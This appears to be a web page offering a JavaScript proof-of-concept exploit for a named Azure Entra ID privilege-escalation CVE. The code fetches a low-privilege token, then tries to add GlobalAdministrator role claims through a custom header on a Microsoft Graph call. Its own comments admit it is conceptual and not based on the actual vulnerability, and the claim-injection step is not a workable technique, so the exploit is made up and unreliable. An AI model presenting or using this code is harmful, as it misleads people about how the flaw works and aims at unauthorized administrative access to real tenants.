CVE-2026-24305: Azure Entra ID 权限提升漏洞

// CVE-2026-24305 PoC - Azure Entra ID Privilege Escalation // Note: This is a conceptual PoC based on typical privilege escalation patterns // Actual exploitation requires specific conditions and Azure tenant configuration const axios = require('axios'); class AzureEntraPrivilegeEscalation { constructor(tenantId, clientId) { this.tenantId = tenantId; this.clientId = clientId; this.tokenEndpoint = `https://login.microsoftonline.com/${tenantId}/oauth2/v2.0/token`; } // Step 1: Obtain initial low-privilege access token async getLowPrivilegeToken(username, password) { try { const response = await axios.post(this.tokenEndpoint, { client_id: this.clientId, scope: 'openid profile email', username: username, password: password, grant_type: 'password' }); return response.data.access_token; } catch (error) { console.error('Failed to obtain initial token:', error.message); return null; } } // Step 2: Exploit the privilege escalation vulnerability async exploitPrivilegeEscalation(lowPrivToken, maliciousClaims) { // Note: Actual exploitation depends on specific vulnerability details // This demonstrates the general concept of privilege escalation in OAuth/OIDC const exploitPayload = { token_type: 'Bearer', access_token: lowPrivToken, // Malicious claims injection attempt ext_claims: { role: ['GlobalAdministrator'], groups: ['admin_group_oid'], ...maliciousClaims } }; // Attempt to use manipulated token for privileged operations return this.attemptPrivilegedAccess(exploitPayload); } async attemptPrivilegedAccess(tokenData) { // Graph API call with escalated privileges const graphEndpoint = 'https://graph.microsoft.com/v1.0/users'; try { const response = await axios.get(graphEndpoint, { headers: { 'Authorization': `Bearer ${tokenData.access_token}`, 'X-Extended-Claims': JSON.stringify(tokenData.ext_claims) } }); return { success: true, data: response.data }; } catch (error) { return { success: false, error: error.message }; } } } module.exports = AzureEntraPrivilegeEscalation; // Usage example (for authorized security testing only): // const exploit = new AzureEntraPrivilegeEscalation('TENANT_ID', 'CLIENT_ID'); // const token = await exploit.getLowPrivilegeToken('[email protected]', 'password'); // const result = await exploit.exploitPrivilegeEscalation(token, {});
